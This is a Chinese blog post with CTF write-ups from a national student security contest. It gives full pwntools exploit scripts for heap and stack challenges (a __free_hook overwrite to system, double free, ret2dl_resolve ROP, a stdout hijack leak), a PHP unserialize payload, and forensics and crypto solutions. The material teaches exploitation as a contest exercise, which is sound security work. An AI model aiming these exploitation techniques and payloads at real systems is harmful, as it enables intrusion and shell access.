ZoE

个人站

Pwn的挖坑填坑之旅


第十二届全国大学生信息安全竞赛 WriteUp

第十二届全国大学生信息安全竞赛 WriteUp

your_pwn

在函数sub_B35里面,没有对index(v1)进行检查,从而造成任意地址泄露和任意地址更改。直接改返回地址为one_gadget即可

  for ( i = 0; i <= 40; ++i )
  {
    puts("input index");
    __isoc99_scanf("%d", &v1);
    printf("now value(hex) %x\n", (unsigned int)v4[v1]);
    puts("input new value");
    __isoc99_scanf("%d", &v2);
    v4[v1] = v2;
  }

详细脚本如下:

from pwn import *
#context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0
if local:
	p = process("./pwn")
else:
	p = remote("39.97.228.196",60007)

def pass_():
	p.recvuntil("name")
	p.sendline("Team233")

def change(index, addr):
	for i in range(8):
		p.recvuntil("index\n")
		p.sendline(str(index+i)) 
		p.recvuntil("now value(hex) ")
		data = p.recvn(1)
		#print("data = " + str(data))
		p.recvuntil("input new value\n")
		p.sendline(str(addr)) 
		addr = addr >> 8

def leak(index):
	addr = ""
	for i in range(8):
		p.recvuntil("index\n")
		p.sendline(str(index+i)) 
		p.recvuntil("now value(hex) ")
		data = int(p.recvuntil("\n",drop=True),16)
		if data > 300:
			data = data - 0xffffff00
		p.recvuntil("input new value\n")
		p.sendline(str(data))
		addr += chr(data)
	addr = u64(addr)
	return addr

def exp():
	pass_()
	#gdb.attach(p)
	
	addr = leak(0x158)
	elf_base = addr - 0xb11
	print '[*] elf_base :',hex(elf_base)
	addr = leak(0x160+0x118)
	libc_base = addr - 0x20830
	one_shot = libc_base + 0xf02a4
	print '[*] one_shot :',hex(one_shot)
	print '[*] libc_base :',hex(libc_base)
	pause()
	change(0x158,one_shot)
	p.sendline("no")
	p.sendline("cat flag")
	p.interactive()
exp()

daily

由于是%s打印内容,会一直打印遇到\x00才会停止,而且add的时候通过read读入没有写入字符串后缀,所以可以利用这一点可以泄露libc地址 和heap地址。泄露利用如下:

	create(0x60,"a"*0x20)#0
	create(0x60,"a"*0x20)#1
	create(0x60,"b"*0x20)#2
	delete(0)
	delete(1)
	create(0x60,"a")#0
	show()
	p.recvuntil("0 : a")
	data = "\x00"+p.recvuntil("2",drop=True)
	heap = u64(data.ljust(8,"\x00"))
	print "[*]heap : ", hex(heap)
	
	create(0x100,"a"*0x20)#1
	create(0x100,"a"*0x20)#3
	delete(1)
	create(0x20,"a"*0x20)#1
	create(0xd0,"a"*8)#4
	show()
	p.recvuntil("4 : aaaaaaaa")
	data = p.recvn(6) + "\x00\x00"
	libc_base  = u64(data) - 0x3c4b78

然后利用free的时候没有检查index(v1),漏洞点如下程序部分代码,造成UAF分配到bss上的chunk_list ,然后改free就可以了。

    printf("Please enter the index of daily:");
    read(0, &buf, 8uLL);
    v1 = atoi(&buf);
    if ( chunk[v1].ptr )
    {
      free((void *)chunk[v1].ptr);
      chunk[v1].ptr = 0LL;
      LODWORD(chunk[v1].len) = 0;
      puts("remove successful!!");
      --chunk_num;
}

然后利用Double free得到bss段上的chunk_list,然后控制chunk,实现任意地址写,然后我们写free_hook地址为system,再free的时候就可以getshell了。在这之前,我们尝试了申请到malloc_hook前面然后把malloc_hoook覆盖为one_gadget,但是没有一个one_gadget可以成功,主要是因为条件没有满足,后来就直接写free_hook了。 详细脚本如下:

from pwn import *
#context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0
if local:
	p = process("./pwn")
else:
	p = remote("39.97.228.196",60006)

def show():
	p.recvuntil(":")
	p.sendline("1")
def create(lens,content):
	p.recvuntil(":")
	p.sendline("2")
	p.recvuntil(":")
	p.sendline(str(lens))
	p.recv()
	p.send(content)
def change(index,content):
	p.recvuntil(":")
	p.sendline("3")
	p.recvuntil(":")
	p.sendline(str(index))
	p.recv()
	p.send(content)
def delete(index):
	p.recvuntil(":")
	p.sendline("4")
	p.recvuntil(":")
	p.sendline(str(index))
chunk_list = 0x602060
def exp():
	create(0x60,"a"*0x20)#0
	create(0x60,"a"*0x20)#1
	create(0x60,"b"*0x20)#2
	delete(0)
	delete(1)
	create(0x60,"a")#0
	show()
	p.recvuntil("0 : a")
	data = "\x00"+p.recvuntil("2",drop=True)
	heap = u64(data.ljust(8,"\x00"))
	print "[*]heap : ", hex(heap)

	create(0x100,"a"*0x20)#1
	create(0x100,"a"*0x20)#3
	delete(1)
	create(0x20,"a"*0x20)#1
	create(0xd0,"a"*8)#4
	show()
	p.recvuntil("4 : aaaaaaaa")
	data = p.recvn(6) + "\x00\x00"
	libc_base  = u64(data) - 0x3c4b78
	malloc_hook = libc_base + 0x3c4b10	
	one_shot = libc_base + 0xf02a4
	free_hook = libc_base + 0x3c67a8
	system = libc_base + 0x45390
	print '[*]libc_base : ',hex(libc_base)	
	print '[*]malloc_hook : ',hex(malloc_hook)
	print '[*]free_hook : ',hex(free_hook)
	print '[*]one_shot : ',hex(one_shot)
	print '[*]system : ',hex(system)
	index = (heap - chunk_list + 8)/0x10 + 15
	print '[*]index : ',hex(index)
	change(2,"a"*8+p64(heap+0x10))
	create(0x71,"h"*0x71)#5
	
	create(0x60,"e"*0x60) #6
	create(0x60,"b"*0x60) #7
	#gdb.attach(p)
	delete(6)
	delete(7)
	delete(index)
	create(0x60,p64(0x6020a8)) #6
	create(0x60,"c"*0x60) #7
	create(0x60,"/bin/sh\x00") #8
	
	payload = p64(free_hook) + p64(0x20) + p64(heap+0x10)
	payload = payload.ljust(0x60,"\x00")
	create(0x60, payload) #9
	show()
	change(5,p64(system))
	delete(6)
	p.recv()
	#gdb.attach(p)
	p.interactive()
exp()

最后成功getshell

babypwn

直接read读入0x100直接造成栈溢出,但是这题的难点在于没有泄露函数,不能直接return to libc,所以这里利用ret2_dl_runtime_resolve,之前做过0ctf2018的babystack跟这个类似,先是尝试了roputils库实现,后来发现有点问题总是调不对,后来直接手工干了一波。操作如下:

# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = process('./pwn')
p = remote(ipm"port3)
elf = ELF('./pwn')

read_plt = elf.plt['read']
alarm_plt = elf.plt['alarm']
pop_ebp_ret = 0x080485db
ppp_ret = 0x080485d9
pp_ebp_ret = 0x080485da
leave_ret = 0x08048448

stack_size = 0x800
bss_addr = 0x0804a040   #readelf -S babystack | grep ".bss"

base_stage = bss_addr + stack_size
plt_0 = 0x8048380 # objdump -d -j .plt babystack

rel_plt = 0x804833c # objdump -s -j .rel.plt babystack
index_offset = (base_stage + 28) - rel_plt
alarm_got = elf.got['alarm']
print "alarm_got: ",hex(alarm_got)
print "alarm_plt: ",hex(alarm_plt)
print "read_plt: ",hex(read_plt)
dynsym = 0x80481DC
dynstr = 0x804827C
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = index_dynsym << 8 | 0x7
fake_reloc = p32(alarm_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload = 'a'*0x28 + p32(bss_addr)
payload += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) +     p32(36) 
#raw_input("go:")
p.send(payload)

#fake stack 1 bss_addr
payload1 = 'aaaa' #pop ebp
payload1 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_stage) + p32(100)
payload1 += p32(pop_ebp_ret) + p32(base_stage) #fake stack again
payload1 += p32(leave_ret) #leave: mov esp,ebp; pop ebp
p.send(payload1)

cmd = "/bin/sh"
#fake stack 2 base_stage
payload2 = 'bbbb'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'aaaa'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc #base_stage+28
payload2 += 'b' * align
payload2 += fake_sym #base_stage+36
payload2 += "system\x00"
payload2 += 'a' * (80 - len(payload2))
payload2 += cmd +'\x00'
#payload2 += 'a' * (100 - len(payload2))
print len(payload2)
sleep(1)
p.sendline(payload2)
#p.sendline("token")
p.interactive()

double

由于这个对比,只要输入的data相同则不会分配堆块给data,造成两个指针指向同一个data. 只要申请两个相同内容大小为smallbin,free掉一个指针,show另一个指针即可获得libc的地址 同理只要free掉其中一个,在对另一个相同指向的指针进行edit,就可以改变fd. 将fd改成malloc_hook,再将malloc_hook的值改成one_gadget即可getshell_

详细脚本如下:

from pwn import *
#context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0
if local:
	p = process("./pwn")
else:
	p = remote("39.97.228.196",60004)
def create(content):
	p.recvuntil("> ")
	p.sendline("1")
	sleep(0.1)
	p.sendline(content)
def show(index):
	p.recvuntil("> ")
	p.sendline("2")
	p.recv()
	p.sendline(str(index))
def edit(index,content):
	p.recvuntil("> ")
	p.sendline("3")
	p.recv()
	p.sendline(str(index))
	sleep(0.1)
	p.sendline(content)
def free(index):
	p.recvuntil("> ")
	p.sendline("4")
	p.recv()
	p.sendline(str(index))
def exp():
	create("1"*0x60) #0
	create("1"*0x60) #1
	create("2"*0x60) #2
	create("3"*0x80) #3
	create("3"*0x80) #4
	
	free(3)	 
	show(4)

	if local:
		pass
	else:
		pass
		#p.recvuntil("Info index: ")
		#p.recvuntil("Info index: ")
	data = u64(p.recvuntil("\n",drop=True)+"\x00\x00")
	libc_base = data - 0x3c4b78
	malloc_hook = libc_base + 0x3c4b10
	one_shot = libc_base + 0xf02a4	
	print("malloc_hook = " + str(hex(malloc_hook)))
	print("one_shot = " + str(hex(one_shot)))
	free(1)
	free(2)
	edit(0,p64(malloc_hook - 19))
	
	create("4"*0x60)
	create("5"*0x60)
	payload = "a"*3 + p64(one_shot)
	payload = payload.ljust(0x60,"\x00")
	create(payload)
	create("icq0030af22ece42d03523c08138525f")
	
	p.interactive()
exp()

bms

详细看我另外一篇blog:https://zoepla.github.io/2019/04/csicn2019%E5%9B%BD%E8%B5%9B-bms/

详细脚本如下: 环境:ubuntu18.04 libc2.27

from pwn import *

context(os='linux',arch='amd64',aslr = 'False',log_level='debug')


#p = remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com","40001")
p = process("./pwn")
elf = ELF('./pwn')
libc = elf.libc

def create(size,content,name):
    p.sendlineafter(">","1")
    p.sendafter("book name:",name)
    p.sendlineafter("description size:",str(size))
    p.sendafter("description:",content)

def create_null_puts(size,content,name):
    p.sendlineafter(">","1")
    p.send(name)
    sleep(0.01)
    p.sendline(str(size))
    sleep(0.01)
    p.send(content)
    sleep(0.01)
    
def free(idx):
    p.sendlineafter(">","2")
    p.sendlineafter("index:",str(idx))

def free_null_puts(idx):
    p.sendlineafter(">","2")
    p.sendline(str(idx))
    
def edit(idx,content):
    p.sendlineafter(">","3")
    p.sendlineafter("index:",str(idx))
    p.sendafter("create description:",content)

'''
0x602060
b *0x00401207
b *0x0040129b

'''
p.sendlineafter("username:","admin")
p.sendlineafter("password:","frame")

create(0x80,'aaaa\n','aaaa\n')#0
free(0)
free(0)
pause()
create(0x80,p64(0x602020)*2 + "\n","aaaa\n")#1
create(0x80,"\n","aaaa\n")#2

log.info("hjack stdout struct")
fake_stdout = p64(0xfbad1800) + p64(0)*3 + "\x00" 
create(0x80,"\x20","aaaa\n")#3 
create_null_puts(0x80,fake_stdout,"aaaa\n")#4

# when call next puts will leak the libc
leak = p.recvuntil("done!",drop = True)
#print("leak = " + str(leak))
leak = leak[0x9:]
leak_add = u64(leak[:6].ljust(8,'\x00'))
libc_base = leak_add - 0x3ed8b0 # 2.27 # 0x3D73E0
libc.address = libc_base
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
success("leak_add = " + hex(leak_add))
success("libc_base = " + hex(libc_base))
success("system = " + hex(system))
success("free_hook = " + hex(free_hook))


create_null_puts(0x30,'aaaa\n','aaaa\n')#5
free_null_puts(5)  
free_null_puts(5)
create_null_puts(0x30,p64(free_hook)*2 + "\n","aaaa\n")#6
create_null_puts(0x30,"\n","aaaa\n")#7
create_null_puts(0x30,p64(system),"aaaa\n")#8     overwrite free_hook --> system
create_null_puts(0x10,"/bin/sh\x00","aaaa\n")#9   getshell
free_null_puts(9)

p.interactive()

usbasp

打开文件后再analyzer里 选SPI,设置选项里最下面选择enable line is active hight

得到下面信息

Time [s],Packet ID,MOSI,MISO
1.474939400000000,,f,'0'
1.474945500000000,,l,'0'
1.474951600000000,,a,'0'
1.474957700000000,,g,'0'
1.474963800000000,,{,'0'
1.474969900000000,,8,'0'
1.474976000000000,,5,5
1.474982100000000,,b,'0'
1.474988300000000,,0,'0'
1.474994400000000,,8,'0'
1.475000500000000,,4,'0'
1.475006600000000,,c,'0'
1.475012700000000,,6,6
1.475018800000000,,-,-
1.475024900000000,,4,'0'
1.475031100000000,,2,'0'
1.475037200000000,,e,'0'
1.475043300000000,,6,'0'
1.475049400000000,,-,'0'
1.475055500000000,,4,'0'
1.475061600000000,,9,9
1.475067700000000,,5,'5'
1.475073900000000,,c,'0'
1.475080000000000,,-,'0'
1.475086100000000,,8,'0'
1.475092200000000,,7,'0'
1.475098300000000,,b,'0'
1.475104400000000,,4,0
1.475110500000000,,-,-
1.475116600000000,,4,'4'
1.475122800000000,,6,'0'
1.475128900000000,,d,'0'
1.475135000000000,,f,'0'
1.475141100000000,,b,'0'
1.475147200000000,,1,'0'
1.475153300000000,,d,d
1.475159400000000,,f,f
1.475165500000000,,5,'1'
1.475171700000000,,8,'0'
1.475177800000000,,a,'0'
1.475183900000000,,0,'0'
1.475190000000000,,},'0'
1.475196100000000,,'0','0'

saleae

同高为1不同为0 然后得到下列数据:

01100110
01101100
01100001 
01100111
01111011
00110001
00110010
00110000
00110111
00110001
00110011
00111001
00110111
00101101
00110001
00111001
01100100
00110001
00101101
00110100
00111000
01100101
00110110
00101101
01100010
01100101
00111000
01100011
00101101
00110111
00111000
00110100
01100010
00111000
00111001
01100001
00111001
00110101
01100101
00110000
00110111
01111101

写个脚本

f = open('data.txt','r')
data = ''
for i in f.readlines():
	tmp = '0b'+i
	# print tmp
	data += chr(int(tmp,2))
print data

justSoso

http://d466a1d4c1214b3181516b834f0de419f413fd793ae942d0.changame.ichunqiu.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

通过文件包含拿到hint.php和index.php的源码

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
	echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
	die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
    	    die('stop hacking!');
    	    exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}


class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
		$this->file = $file;
		$this->token_flag = $this->token = md5(rand(1,10000));
    }
    
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			if(isset($this->file)){
				echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?

parse_url存在绕过的漏洞,例如:http://127.0.0.1///index.php

构造payload

<?php
class Handle{
    private $handle;


    public function __construct($handle) {
        $this->handle = $handle;


    }
    public function __destruct(){
        $this->handle->getFlag();
    }
}


class Flag{
    public $file;
    function __construct($file){
        $this->file = $file;
    }
    public function getFlag(){
        if(isset($this->file)){
            echo @highlight_file($this->file,true);
        }
    }
}


$flag = new Flag('flag.php');
$flag ->token = &$flag -> token_flag;
$exp = new Handle($flag);
echo urlencode(serialize($exp)).PHP_EOL;
?>
Payload
O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22token_flag%22%3BN%3Bs%3A5%3A%22token%22%3BR%3A4%3B%7D%7D

还要把红色位置的1改为2,不然会跳进Waking up函数

O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22token_flag%22%3BN%3Bs%3A5%3A%22token%22%3BR%3A4%3B%7D%7D

O:6:"Handle":2:{s:14:".Handle.handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:10:"token_flag";N;s:5:"token";R:4;}}

puzzle

question 0 a1,a2,a3,a4

a1:0xfa6
a2:0xbed
a3:0x9c7
a4:0xa00

part1

看到这三个数都是素数,猜想part1也可能是素数。google到如下的素数表

猜测part1所在位置,根据素数之间的间隔相等的原则,猜出part1为26365399

脚本也可解:

import sympy as sy
x = sy.symbols('x')
print(sy.integrate(sy.exp(x)*pow(4 + sy.exp(x),2), (x, float(0), sy.log(2))))
rerult :  30.3333333333333
(1+30.3333333≈9*31+7+1)=100
part2 = (1+91+7+1)*77 =7700
hex(7700)=0x1e14

question 3 : 0x48d0

336pi*120/pi=40320

part 4 =hex(40320)=0x9d80

最后得到flag值:FLAG{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

warmup

本题是AES_CTR加密,而这个加密方式就是分组对明文进行异或,因为在同一次通信中其中的key和计数器不变,所以明文异或的密钥不会变,因此我们可以在通信过程可以通过输入不同的填充获得密钥。 经过测试可以发现,32个一个分组,flag有两个分组多一些,可以先填充5个让flag加填充满足有3*32个,得到第一个需要的密文data1,然后填充5+48获得第二个密文,第二个密文(data2)有6*32个bit。 则详细脚本如下:

data1 = "aefdd88c71194ba242a1e45c7a03f1e8715e11c3566607ee614c8cd4541f3688f0e5a35146b5cca393c8432dafdccee7"
data2 = "aefdd88c711e46a244bbbc0d2d51f1bb26085d90026603a234188c86184734dff4a9f40244e4c8a0c3cd407eab84d287ec9ece135f9a2a6bc7d427cd18e7c7995985df9d61d1b697d5472b073c27a6b0d5245917d3b1965248a6c228d6f260d4"
s1 = [data1[0:32],data1[32:32*2], data1[32*2:32*3]]
s2 = [data2[0:32],data2[32:32*2], data2[32*2:32*3],data2[32*3:32*4],data2[32*4:32*5], data2[32*5:32*6]]
ming="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
minghex=ming.encode("hex")
key1=int(s1[0],16)^int(minghex,16)
key2=int(s1[1],16)^int(minghex,16)
key3=int(s1[2],16)^int(minghex,16)
minghex0=int(s2[0],16)^key1
minghex1=int(s2[1],16)^key2
minghex2=int(s2[2],16)^key3

print hex(minghex0)[2:-1].decode("hex")
print hex(minghex1)[2:-1].decode("hex")
print hex(minghex2)[2:-1].decode("hex")

#flag{9063a267-25ae-45a3-9c6e-62c0eb1db2e9}

Asymmetric

  1. 看了一下题目给的脚本,其实就是普通的RSA题
  2. 主要还是把n分解

  1. 剩下就很简单了

EasyGo

  1. 查看可执行文件格式
  2. 程序为Go语言编写,内部函数较为复杂,直接IDA动态调试 定位到sub_495150函数,执行完sub_4886B0,程序打印了字符串
  3. 在sub_48EB00中,程序调用了输入函数,继续执行,发现函数将一串字符串地址放到了rax 并在接下来的几个CALL中,对其进行了一些操作,这里没有仔细跟进,由于在sub_47E620函数处存在跳转,猜测这里可能为相关的check函数,重点关注其所对应的内存区域,可发现,执行完sub_47E620函数后,可以在内存中直接拿到flag

wp Author

Team233成员

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦